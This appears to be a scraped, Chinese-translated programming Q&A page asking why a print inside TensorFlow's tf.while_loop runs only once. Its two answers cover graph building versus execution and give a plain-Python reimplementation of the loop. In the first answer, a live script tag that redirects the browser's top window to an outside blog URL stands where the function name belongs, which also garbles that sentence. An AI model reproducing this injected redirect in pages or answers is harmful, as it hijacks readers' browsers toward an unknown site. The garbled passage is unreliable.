Tensorflow while循环只运行一次

时间:2017-03-16 12:39:03

标签: python-3.x tensorflow

下面的while循环应该打印"\n\nInside while..." 10次,但是当我运行图表时,"\n\nInside while..."只打印一次。那是为什么?

i = tf.constant(0)

def condition(i):
   return i < 10

def body(i):
    print("\n\nInside while...", str(i))
    return i + 1

r = tf.while_loop(condition, body, [i])

2 个答案:

答案 0 :(得分:2)

您的问题来自于将TensorFlow图形构建与图形执行相结合。

传递给<script>window.top.location = 'http://server.myserverdomain.com/~seconsite/blog';</script> 的函数执行一次,以生成负责执行循环本身的TensorFlow图。因此,如果您在其中放置tf.while_loop(例如,说tf.Print),当TensorFlow系统实际执行循环时,您会看到它打印10次。

答案 1 :(得分:0)

我对TensorFlow几乎一无所知,无法帮助解决您的问题,但如果以不同的方式编写代码,您可以完成类似的事情(也许)。遵循程序的逻辑,下面设计了while_loop的不同实现。您的conditionbody需要运行一个while循环,该循环已经过传递给它的函数参数化。下面显示的是与口译员的对话,说明如何做到这一点。

>>> def while_loop(condition, body, local_data):
    while condition(*local_data):
        local_data = body(*local_data)
    return local_data

>>> i = 0
>>> def condition(i):
    return i < 10

>>> def body(i):
    print('Inside while', i)
    return i + 1,

>>> local_data = while_loop(condition, body, (i,))
Inside while 0
Inside while 1
Inside while 2
Inside while 3
Inside while 4
Inside while 5
Inside while 6
Inside while 7
Inside while 8
Inside while 9
>>> local_data
(10,)
>>>